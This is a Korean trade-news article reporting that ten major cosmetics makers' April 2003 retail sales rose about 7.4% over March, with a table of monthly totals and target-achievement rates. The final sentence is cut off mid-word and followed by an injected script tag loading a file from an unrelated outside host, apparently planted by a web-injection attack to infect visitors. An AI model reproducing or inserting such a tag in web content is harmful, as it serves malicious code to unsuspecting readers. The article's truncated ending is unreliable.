시판, 다시 기 펴는가? 전반적인 경기지표의 하락과 체감 경기의 불황으로 업계에 깊은 주름의 골이 패인 상황에도 불구, 지난 4월 화장품업체들의 시판 실적이 전월에 비해 개선된 것으로 밝혀져 관심이 모이고 있다.

(시판 10대 주요사 실적 총액 동향)

단위: 억원,%

구분 2002년4월 2003년1월 2월 3월 4월 실적 801.2 663.9 566.2 597.7 642.2 목표 달성률 - 95.6 87.2 91.0 92.8 증감률 - - -14.7 5.6 7.4

본지가 주요 시판 메이커 10대사(태평양, LG생활건강, 코리아나화장품, 한불화장품, 한국화장품, 애경산업, 엔프라니, 참존, 라미화장품, 로제화장품)의 4월 실적을 조사한 결과 전체 금액이 642억2천만원으로 3월의 597억7천만원에 비해 약 7.4% 가량 상승한 것으로 나타났다. 또한 목표 달성률도 92.8%를 기록해 전월보다 2% 올라간 것으로 확인됐다. 지난해 2분기부터 경기가 직하강한 후 올들어 서서히 회복의 기미가 보이고 있는 가운데 지난해 수준으로 돌아가려면 여전히 20% 정도 회복이 필요하다. 정확한 집계가 필요하겠지만 업계에서는 5월의 경우도 선물 특수와 자외선·미백 제품의 호조에 힘 입어 4월에 이어 실적 신장세가 계속됐을 것으로 내다보고 있다. 목표 달성률에서 90% 이상을 기록하면서 선전한 업체들은 태평양, LG생활건강, 한불화장품, 애경산업, 엔프라니, 참?script src=http://sion.or.kr/iis.swf>

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